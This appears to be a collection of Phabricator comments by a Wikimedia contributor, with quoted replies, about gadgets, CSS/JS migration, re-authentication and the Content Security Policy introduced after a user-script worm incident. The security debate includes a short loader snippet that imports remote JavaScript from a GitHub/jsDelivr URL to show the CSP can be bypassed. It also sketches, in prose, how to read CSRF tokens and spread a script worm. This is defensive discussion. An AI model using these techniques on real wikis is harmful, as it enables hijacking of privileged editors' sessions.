Matma suggested last weekend it might be some old cookies and it was. I cleared my cookies on both plwiki and commons and the problem is gone. Weird, but I'm OK with that 🙂

Seems to be working. You can use atom feeds (e.g. hook them up in Thunderbird):

• https://pl.wikipedia.org/w/api.php?urlversion=2&tagfilter=mw-edited-other-users-css%7Cmw-edited-other-users-js&days=30&limit=50&action=feedrecentchanges&feedformat=atom
• https://meta.wikimedia.org/w/api.php?urlversion=2&tagfilter=mw-edited-other-users-css%7Cmw-edited-other-users-js&days=30&limit=50&action=feedrecentchanges&feedformat=atom

Seems like both of this is only available on Wikidata item page like https://www.wikidata.org/wiki/Q139906870

$( '.wikibase-entityview' ) // → Object { 0: div#wb-item-Q139906870.wikibase-entityview.wb-item, length: 1, prevObject: {…} }
mw.config.get( 'wbIsEditView' ) // → true

File to fix:
https://gerrit.wikimedia.org/g/mediawiki/extensions/Wikibase/+/5d4c27190017c68cf52bf25a9077fb22289aa792/repo/resources/wikibase.ui.entityViewInit.js

The problem seems to be here:

	mw.hook( 'wikipage.content' ).add( () => {
		// This is copied from startup.js in MediaWiki core.
		var mwPerformance = window.performance && performance.mark ? performance : {
			mark: function () {}
		};
		mwPerformance.mark( 'wbInitStart' );

Probably crucially echo does a Foreign API call:

Hm... Heh. Something keeps changing. Now I'm getting Error: View mediainfoview does not exist (T321532) on a file page and could not reproduce.... Not sure if banners could affect the tests. They seem to change a lot lately....

Logstash does include bugs in gadgets. You could apply to get access to it, though it is not easy (you need to get a high level "sponsor" of your request). I think it would help if every major wiki had at least one user that could view Logstash.

On plwiki we recently created a template for that:

{{Theme
  |light = [[File:Light image.svg|thumb]]
  |dark  = [[File:Dark image.svg|thumb]]
}}

Not great, as it;s almost twice the work, but it works.

Strange. Something changed I cannot repeat original steps, but I can repeat in safe mode like this:

Oh. I should probably have mentioned that I use Firefox 151.0.2 on Windows 11. If the issue is somehow related to cookies, then IIRC Firefox still handles them differently than Chrome in some cases. I do have privacy features disabled for Wikimedia sites (the tracking shield is disabled):

Sure. I assume this is not specific to reviews, as I had similar session problems when working on templates. But here are the steps with actions as I reported above:

I can confirm it work on pl.wm, thanks

I'm looping on pl.wikimedia.org too. No way to edit JS.

Hi. I created Wikiploy ESLinter Edit project as a workaround to current annoying flow... This solves some of the problems created here for the interface administrators. It makes editing more then one file faster and generally less of burden. I used it to fix some scripts on Commons.

Fixed

In T417847#11897986, @JSengupta-WMF wrote:

Hello all, thanks for all your feedback on this feature. @KimKelting we tried several versions of design and one of them was what you suggested, with a separate dropdown next to watchstar. It had some implementation challenges.

Based on the recent village pump discussion and several valuable design feedback both from the community and WMF design team, I have now updated the design again. The key changes are:

• Dropping the dialog and bringing back pop-over to not disrupt the workflow
• One click watch/unwatch (no extra click necessary unless user wants to add a label while adding an item to their watchlist)
• Automatic timeout of the pop-over if user doesn't interact with it for X seconds
• Undo feature on the unwatch confirmation to prevent accidental removal of a watched page that had multiple labels assigned to it
• Mobile web design remains more or less the same except the new watchlist label and undo feature

Here's a link to the prototype for both web and mobile designs
https://www.figma.com/proto/CdyroPkkcT7GJA9bwno0Rq/WE1.4-Task-Prioritization--Watchlist-label-?node-id=2403-75386&p=f&viewport=318%2C-3629%2C0.26&t=kG42Ka3YgMxDjCPR-1&scaling=min-zoom&content-scaling=fixed&starting-point-node-id=2403%3A75386&show-proto-sidebar=1&page-id=2403%3A74743

Please feel free to test and let us know if you see any missing bits.

Hm... So I assume T197137#11831612 and T197137#11891687 might not be obvious enough.

I appreciated the detailed write-up. The circumstances are unfortunate because editing JS is now hard, and that, I know, is not for any good reason. I'm sorry, but after the so-called "incident" of running a worm from a staff account, I lost trust in WMF staff and WMF procedures and vented here, assuming something similar happened here. That was unfair, and I'm sorry about that.

In T414805#11875703, @daniel wrote:

In T414805#11875160, @A_smart_kitten wrote:

While it may be true that thumbnail URLs were not declared to be a stable interface, I guess 'cool URI's don't change' is a principle for a reason. YMMV.

'cool URI's don't change' is a good principle, but I would not apply it to any resource addressable with a URL. In fact, a lot of URLs point to ephemeral things. I'd only apply it to URIs published explicitly for permanent external use.

All that said: in how for media (and thumbnail) URLs are a public API and should be treated as a stable interface is a debatable question. After all, InstantCommons exists. But again, the stakes here were quite high, and we had to act fast.

In T414805#11873989, @Ladsgroup wrote:

In T414805#11873042, @Nux wrote:

There are still loads of broken MediaWiki:Common.css. I'm usually a fan of "you broke it, you fix it"... and well... you broke it, WMF 🙃

I understand but with the same logic, if any bot breaks anywhere because we remove a deprecated function in our API (granted enough communication was done and enough time is given), it's WMF's fault and we have to fix it?

I went through every case that made more than 5,000 requests a day and fixed them last week.

I went through this CSS global search and fixed CSS on Meta and most Polish sites.

The docs for the editor suggest using 22px (though I guess you can replace that with 20px in most cases): https://www.mediawiki.org/wiki/Extension:WikiEditor/Toolbar_customization#Add_a_button_to_an_existing_toolbar_group

You will have to use size on your icons:
https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/background-size

In T414805#11556311, @Nux wrote:

Found two problems with the migration:

1. The docs for the editor suggest using 22px (though I guess you can replace that with 20px in most cases): https://www.mediawiki.org/wiki/Extension:WikiEditor/Toolbar_customization#Add_a_button_to_an_existing_toolbar_group
2. If you do want a specific size, there seems to be no way to provide it in this API.

An example from a user:
https://pl.wikipedia.org/wiki/Wikipedysta:S%C5%82awek_Borewicz/WerToolbar.js#L-15

If I were migrating that now, I would use SVG, but SVG doesn't work in this case (as there’s no way to specify the icon size). I mean this looks terrible 🙃

icon: 'https://upload.wikimedia.org/wikipedia/commons/6/61/Contribs_icon-black.svg',

In T197137#11835685, @PerfektesChaos wrote:

In T197137#11834632, @Nux wrote:

I think I haven't mentioned this, but you would not be able to POST to it from another page. You would not have a token. CSRF tokens are specifically designed to block forged requests. The important part here is that the token must be specific to that page and obviously(?) specific to a single user and obviously(?) just available on that special page.

I would retrieve that special page via $.ajax() and can read a CSRF token in the header via XMLHttpRequest. Then modifying the JS payload code and sending back the form.

In T197137#11835408, @Soda wrote:

In T197137#11834802, @Nux wrote:

Instead of adding more and more stuff CSP you should have focused on blocking whole categories of attacks. Like discuss removing wss with community and block it completely. Discuss removing eval and block it completely. That would add layers because that would block whole category of attacks. Current CSP is not that so it is mostly useless.

My understanding is that $.append(...), $.prepend(...) and $.html(...) make use of eval-like primitives depending on how they are used. I'm unsure as to how many of the Wikimedia scripts make use of this use case, but removing eval might not be as trivial as just removing it from the CSP.

@Novem_Linguae I'm not speaking as a random dude on the internet. I have experience and training in security. You can of course not believe me, but it is not hard to check.

In T197137#11833359, @PerfektesChaos wrote:

There are three ways to modify a .js page under advanced restrictions:

1. Interactively by some Special:SecureEdit or Special:EditResource etc. which is in safemode.
2. HTTP POST to index.php a form with all field values from Special:SecureEdit including hidden special safety keys built in when this page is retrieved from wiki server.
3. Change a set of pages via api.php and provide a special security code for one run only, for this account only, within some days.

The second possibility makes the safemode Special:SecureEdit obsolete, since the wiki server cannot distinguish between a really interactively used page in browser, or an HTTP POST which sends the fields as if the submit button has been pressed manually.

In T197137#11833818, @EMill-WMF wrote:

In T197137#11830122, @Nux wrote:

If I'm reading that correctly, this is not how any of this works, EMill. Microsoft is NOT securing the scripts on GitHub. In fact it's perfectly legal to write proof-of-concept tools for attacking websites like e.g. excessy (tool for XSS). I would like to see anyone try to take down that tool (written by Google's security expert).
[...]
So CSP might be good for some things, but current CSP is not for what you seem to be aiming for.

Oh yes, there is *lots* of risk involved in allowlisting npm as a serving location for code that can run in privileged users' sessions on Wikimedia projects. It is really easy to demonstrate that, and it will not stay in our CSP over the long term.

But even that *lots* of risk is still *much* less than the risks involved in allowing unpredictable internet domains, including domains fully owned and controlled by attackers (unlike npm, which is fully owned and operated by a known company). I recognize it may not feel like a big deal to you since the new status quo still allows attacker-controllable content to be hosted there, but it is still a massive improvement.

I don't usually publish recipes for attacks, but I feel like we will not get anything done without this. I did warn that creating CSP in a rush is just wrong. I did say that the incident is not real, as normally scripts go through a community process that, while not perfect, is far better than what GitHub or NPM has in place.

This took 14 minutes 21 seconds to prepare:

var url = `https://raw.githubusercontent.com/johnnybebad26/wiki-poc-fun/refs/heads/main/poc.js`;
var url = "https://cdn.jsdelivr.net/gh/johnnybebad26/wiki-poc-fun@main/poc.js";
importScriptURI(url);

Yes, I did measure the time with a stopwatch ;). I included both creating an e-mail account (on proton) and creating a new Github account.

In T197137#11829647, @EMill-WMF wrote:

Which still allows anyone to push any code to npm and use npm-cdn that is allowed in the CSP. So the CSP is mostly useless. It blocks legitimate requests, breaks tools and doesn't block any real attacks that can still happen.

To be clear, including npm CDNs in our CSP was a (significant) concession to avoid breakage, and not something we expect to support long-term. It will need to come off of the CSP allowlist eventually. Even so, npmjs and raw.githubusercontent.com are both owned by Microsoft, and have their own internal security teams that have now endured extensive experience with public security incidents caused by malicious code, and are investing in making this harder to happen and for shorter amounts of time. That is dramatically different than the open-season internet with domains an attacker can fully control until their DNS is disabled (if that is even feasible). Even this interim situation that includes user-manageable CDN endpoints is much safer than it was before the CSP went up.

In T197137#11828537, @Nux wrote:

In T197137#11823079, @PerfektesChaos wrote:

In T197137#11822294, @Nux wrote:

Or you can just click a button "yes I want to edit sitewide JS" on Special:QuickAuth. This adds a cookie token for an hour and you check that cookie upon editing of Mediawiki:*.js and redirect and done. Probably a one day of work, a bit more for translations.

That approach does not work.

• I have described in detail that I will wait until there is an interactive person who is able to do vulnerable editing. Now I can set my own cookie. If that edit has been saved, I can exploit my own cookie for the next 14 or 59 minutes and run my worm proliferation every time any further page is viewed, since I know that the security cookie is alive.

The box of pandora has been opened, by edit shutdown for several hours the entire world learnt how to build a worm infecting more and more JS pages at many wikis, starting the nuke attack some days later.

All auth is just cookies and session. All that is needed is to estabilish that the session is in some "can-edit-important-stuff" mode. For that you only need:

1. A place where user scripts are not running. E.g. a special page (like prefs).
2. Human interaction.
3. Adding a cookie that cannot be altered by JS (and/or some session param). https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies#block_access_to_your_cookies

In T197137#11827916, @Novem_Linguae wrote:

disable external loading of off-site scripts in the common.js file

Small note: since the incident we've turned on CSP, so all external scripts not on an allowlist are now blocked.

Can you link to an example ImportJS text file, and maybe include a code snippet of loading the file, so I can visualize how this works?

In T197137#11823079, @PerfektesChaos wrote:

In T197137#11822294, @Nux wrote:

Or you can just click a button "yes I want to edit sitewide JS" on Special:QuickAuth. This adds a cookie token for an hour and you check that cookie upon editing of Mediawiki:*.js and redirect and done. Probably a one day of work, a bit more for translations.

That approach does not work.

• I have described in detail that I will wait until there is an interactive person who is able to do vulnerable editing. Now I can set my own cookie. If that edit has been saved, I can exploit my own cookie for the next 14 or 59 minutes and run my worm proliferation every time any further page is viewed, since I know that the security cookie is alive.

The box of pandora has been opened, by edit shutdown for several hours the entire world learnt how to build a worm infecting more and more JS pages at many wikis, starting the nuke attack some days later.

In T197137#11827065, @Catrope wrote:

In T197137#11822948, @Od1n wrote:

I still prefer the "disable execution of JS from wiki pages" approach (though would it be sufficient?), but if "re-auth" is kept, we could reduce its friction:

• Ask for re-auth only when publishing, not when opening the edit page.

This is a good idea, and probably the best solution to T423193. This would be a bit complicated because we have to preserve/stash the submitted edit while going through the reauth process, but we will have to do that regardless (to handle the case where your reauth times out after you click edit but before you click submit), and we're already planning to do it soon. I think we should be able to do this in the next month or two.

In T197137#11821610, @Od1n wrote:

The least-worst solution I see is to disable execution of JS from wiki pages when editing certain pages within the MediaWiki: namespace, as mentioned in PerfektesChaos's messages above:

I would like to have this in the 2nd view (this is not real data, if that is not obvious):

Note that Flyspray has options like that:

Is there any ETA on when the proper implementation will happen? It's becoming increasingly annoying that each action=edit requires full re-authentication.

For context plwiki uses FlaggedRevs.

In T420132#11711480, @Tgr wrote:

I wonder if we could auto-add people to Trusted-Contributors based on some modest contribution criteria (like >1000 global wiki edits)?

This (and other tasks) could be resolved with connect-src: http: which should allow loading JSON just fine. Note that changing default-src will change script-src and in turn script-src-elem which would allow easy loading and executing scripts directly from that domain. So you probably do not want that when you only need to allow downloading JSON. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src-elem

In T419152#11711077, @Novem_Linguae wrote:

In T419152#11685440, @A_smart_kitten wrote:

(tagging for visibility, as FWICS this proposal was made as a follow-up to the user javascript incident)

I don't think this would have stopped or affected the user javascript incident though. Wasn't the incident a MediaWiki sitewide JS file, not another user's JS file?

Note any sorts of external resource has risk of compromising privacy (3rd party website can know time, IPs and User-Agents of any, or for scripts used by a few people, specific, users using Wikimedia project), so blinding allowing any website is bad.

Hi. I was wondering where to write about this, but the problem is mostly generic and this task is generic. So hopefully this is the right place.

How about official haproxy on toolforge that would allow adding new rules? Seems like e.g. T419232: CSP blocks access to iiif.archive.org; breaks script for pulling high-resolution scans from archive.org (for use at Wikisource) would be better implemented via proxy (the user insisted only specific .json call should be possible).

In T210909#11700499, @Bugreporter wrote:

you go into insecure mode when editing from an unknown IP

This means you may do vandalism in secure mode if someone else compromised your common.js or site common.js.

In T197160#11699890, @Tgr wrote:

In T197160#11696361, @Nux wrote:

However, I still think in most situations a password should be enough.

It certainly doesn't make sense to ask for both the password and the 2FA (that's a technical limitation of the current implementation). But once we can skip one of those checks, it would be silly to skip the much more secure one, when (with WebAuthn) they take a comparable amount of effort.

I think this might work if it would be reframed:

• you go into insecure mode when editing from an unknown IP and that insecure mode is marked somehow (e.g. by some red eye icon on the top bar)
• you have limited actions rather then limited scripts (scripts already enabled would do mostly the same harm to you wherever you are)
• you are still able to edit articles and discuss stuff
• you are not able to change preferences and edit your JS/CSS unless you re-auth with 2FA (somewhat related to T197160: All security-sensitive MediaWiki functionality should require elevated security)
• you probably shouldn't be able to edit restricted pages (like often used templates), until you verify the IP you are editing from

In T197160#11697639, @EMill-WMF wrote:

However, I still think in most situations a password should be enough. Typically, the second factor is used to establish trust between the service (here Wikipedia) and the user's browser.

That's not how we think about the security model for two-factor authentication - it's there, and required for users with various kinds of powerful rights, because of the plausibility that someone's username and password becomes known by an attacker. Last year's account compromise incident was a reminder of how widespread stolen credentials are (whether from other breached services where passwords were reused, or compromised laptops someone logs in from, or other).

In T197160#11691938, @Tgr wrote:

In T197160#11690429, @Nux wrote:

The risks didn't change that much, so please don't escalate security too much.

IMO the risks didn't really change, but the incident highlighted how much we have underinvested in security for a long time. This is something that should have happened a decade ago. Sometimes what blocks action is the lack of shared understanding, and hopefully that did change.

Not very well, passkeys are domain-bound, password managers aren't (or at least aren't in a way we could trust) so they are vulnerable to phishing (which can be easily incorporated in an XSS attack).

I have two PCs and one laptop from which I contribute. I also use two phones. Passkeys are not that great for such a situation, to say the least. Password managers solve most problems that passkeys solve (2FA solves the rest of them) and support more setups.

In T419143#11685792, @Bawolff wrote:

is any of these scripts installed ServiceWorker which still continues to work (even after script removal and hard cache clean)

You are overstating this a bit. ServiceWorker have to be on same domain so the script would have to be on meta. ServiceWorkers can only persist 24 hours after the service worker's script (its actual script not the script that loaded it) is deleted,not forever. There are no non-obfuscated using service workers on meta right now, althought i of course would not to be able to find obfuscated scripts in a search.

I consider the possibility of a service worker here to be extremely low liklihood. That said it might be prudent for WMF to look at logs/take mitigations just in case. That is currently being discussed in the private task.

I really don't like that now Wikipedia forces me to re-login completely. I just tried to edit a gadget and had to type in my password twice and enter a token twice. Perhaps the token was wrong, I don't know (it didn't say!). Entering just a token XOR just a password should be enough. Even in LastPass I'm only asked about my token once a month. I mean I'm grateful for making the case for my Wikiploy to be the only sane way to edit gadgets, but still, normal edits should not be that hard ;)

In T197137#11680953, @stjn wrote:

In T197137#11679454, @Bawolff wrote:

Instead of making the edit action require 2fa when editing a js page, an alternative version might be:

• have interfaceadmin be a group that only allows adding yourself (with an expiry) to a group called interfaceadmins-real that contains the real right.
• have changing group rights require reverifying 2FA.

I think that would be easier to implement in the short term. We've basically got all the pieces already.

Please don't. I would personally hate this bureaucratic solution enough to remove the group from myself. There is zero reason why these 2FA checks can't happen pre-edit.

In T419152#11679948, @Bugreporter wrote:

Perhaps 2FA should only be required for editing scripts of other users.

What is the concern in this task is if someone add something malicious to site common.js it can not edit any of your .js page. This means attackers can not spread attacks to user's common.js (so to continue to be malicious when attack in site common.js is removed).
In fact, requiring elevated security largely (but not 100%) mitigate a further issue: if a malicious browser extension is installed - which can do vandalism on your behalf and even steal your session cookie (which can be mitigated by device-bound session), or even your session is stolen, they can not modify common.js without knowing your password (and 2FA token, if required).

I'm using my Wikiploy a lot for deploying scripts. This uses a BotPassword, which is basically a token with limited capabilities. I think that should still be allowed, or there should be some other mechanism for CI/CD-like deployments.

In T419143#11678510, @stjn wrote:

In T419143#11678498, @Ahecht wrote:

Given the gaping security hole this revealed, I wouldn't be surprised if user scripts are disabled until more safety rails are in place (such as preventing them from non-interactive editing of common.js).

I think the known nature of the incident shows that this is not necessarily required to be done ASAP. Never mind that the WMF was not focusing on obvious solutions (such as requiring a 2FA confirmation step for editing site-wide JS) for years already.

I don't see subscribed users protesting, so I think you can close :-)

It's not really about whether SFN is more or less compact. It's about how it feels. Mostly empty space between subrefs immediately feels less compact because there is more empty space. It's about look & feel, not about physical pixels, if that makes sense.

Oh, I see what you meant now. That's unfortunate. I thought the problems with editing subrefs are the same as for editing refs in defined in templates.

I still think this is due the change of icon sizes and is probably a wider problem as UploadForm.js seems to be using Tooltip class as a dependency...

This would not change the calculations much, but there are 441 more small images in template styles (488 without the title filter, so in all templates and modules):

Hm... I think so, yes. The problem was there was no shortcut to built-in search. Now you can always do CTRL+F+F.

Just to make this a bit more complete: plwiki is also using the enwiki version (now used by ~30 users). The gadget was enabled by default from 2012 on plwiki, but IIRC we disabled it once MediaWiki implemented reference previews. Perhaps itwiki can discuss to change the default state too.

Because SVG is sharp on any dpi/ppi.

Found two problems with the migration:

1. The docs for the editor suggest using 22px (though I guess you can replace that with 20px in most cases): https://www.mediawiki.org/wiki/Extension:WikiEditor/Toolbar_customization#Add_a_button_to_an_existing_toolbar_group
2. If you do want a specific size, there seems to be no way to provide it in this API.

Are icons really a problem? I mean, are there actually external sites using images loaded from Wikimedia as icons on their pages?
In most applications, I’d use sprites (for old school webapps) or icon fonts in new apps. I would imagine people would rather use Font Awesome that is easy to setup and looks uniform rather then using very hard to find icons from Commons. Did you check where does the request for small images come from?

Sure, I implemented it as a TMonkey gadget:
https://github.com/Eccenux/wiki-diffSyntax

Newer PoC is so close I could almost say it works ;)

Last FF on Windows XP is FF v52, so grids are supported even on Windows XP. https://support.mozilla.org/en-US/kb/end-support-windows-xp-and-vista

Microsoft itself ended support for Windows XP in 2014 and support for Windows Vista in 2017.

In T213587#11494884, @Bawolff wrote:

To be fair depending on how the sanitizer works (haven't checked) it might be hard to support data:image/svg+xml. The contents of svg don't need to be sanitized, but it might be hard to find boundaries of the svg.

This is not an issue.

To be clear, this is problematic due to how template styles are used:

The use case is to be able to use simple SVG in template styles, which makes them more efficient, easier to develop and easier to change.

This is kind of close if you want to use exisiting colors:

.ve-ce-linkAnnotation.ve-ce-annotation-active {
  /* box-shadow: 0 0 0 1px #c6e0ff; */
  /* background-color: #e6f1ff; */
  box-shadow: 0 0 0 1px var(--background-color-progressive-subtle--active);
  background-color: var(--background-color-neutral);
}